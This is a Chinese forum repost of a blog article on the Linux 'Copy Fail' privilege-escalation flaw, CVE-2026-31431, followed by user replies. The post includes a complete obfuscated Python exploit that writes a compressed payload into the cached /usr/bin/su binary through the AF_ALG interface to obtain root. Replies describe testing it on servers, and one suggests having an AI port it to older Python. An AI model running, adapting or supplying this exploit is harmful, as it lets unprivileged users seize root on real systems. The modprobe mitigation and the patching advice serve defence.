Copy Fail:2017年至今的漏洞,一个脚本获得 Linux root 管理员权限|CVE-2026-31431

原始链接在: Copy Fail:2017年至今的漏洞,一个脚本获得 Linux root 管理员权限|CVE-2026-31431 - 小众软件

只需要10行代码,就能获得自2017年至今大多数 Linux 发行版本的 root 权限。史称 Copy Fail,漏洞编号 CVE-2026-31431

先看提权演示视频

演示代码

代码来自这里,请仅在自己的机器上测试该漏洞:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Linux 里有一种比较底层的接口,叫 AF_ALG,用来给程序做加密/解密的。它的数据会直接在内核里传来传去,不走普通读写路径

问题出在这里,内核在处理这条数据通道时,没有区分“只读”和“可写”。

比如这段代码,它把额外的数据写入了内存中的 /usr/bin/su 程序,相当于修改了内存中的 su 程序(该程序权限很高),所以执行 su 的时候,就拿到了 root 权限。

Copy Fail

有人专门为这件事制作了一个漏洞演示网站,就叫做 Copy Fail,复制失败。

它还同时演示了 Ubuntu 24.04、Amazon Linux 2023、RHEL 14.3、SUSE 16 几个不同系统中招的过程:

该漏洞的利用过程是这样的:

  1. 打开 su(目标程序)
  2. 解压一段隐藏代码(payload)
  3. 利用内核漏洞
  4. 把 payload 写进内存里的 su
  5. 执行 su → 拿 root

谁受影响

Copy Fail 只需要一个非特权本地用户账户,不需要网络访问权限,不需要内核调试功能,也不需要预装底层程序。基本上所有主流发行版的默认配置都启用了内核加密 API (AF_ALG),因此整个 2017 → 补丁发布窗口之前的操作系统,都…开箱即用。

注意,Linux 被广泛应用在各种设备中,包括但不限于电脑、

怎么办?

更新你的操作系统。


原文:https://www.appinn.com/copy-fail-cve-2026-31431/

1 个赞

应该是要严格限制每个用户/进程权限的场景,甚至是公开、租户的场景有风险吧,,很多场景其实都能运行脚本了,本身权限也不那么严格。

:rofl:

在服务器上试了一下果然被击穿了 :face_with_open_eyes_and_hand_over_mouth:

可以通过这个方法临时封堵:


rmmod algif_aead 2>/dev/null || true
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

refs: Telegram: View @xinjingdaily

核弹级的漏洞。正如官网所说,内核提权漏洞都需要特定的内核版本和偏移量,这个不需要,这个除了最新内核都是通杀的。除了个别精简内核,比如openwrt外,可能开发板嵌入式都是通杀的。
需要提醒的几点:
1.目前的EXP是针对x86_64的,其他架构不会被提权,但su的页缓存一样会被替换,只是shellcode不通用而已。
2.谨慎运行EXP,页缓存基本是不刷新的,换句话说如果你运行了EXP不重启,那/usr/bin/su文件一直处于被注入状态,非常危险。

关键的问题是,据说这漏洞是AI一小时找到的。
你就知道A÷说他们那个新模型不敢发布,要联合大厂先在内部找找漏洞可能并不是危言耸听。

没了两台机器,都是AttributeError: module ‘os’ has no attribute ‘splice’

不成功啊,怎么回事

需要python 3.10+. 我两机器上的python版本太低了 :joy:

代码很简单,让AI写一个别的版本的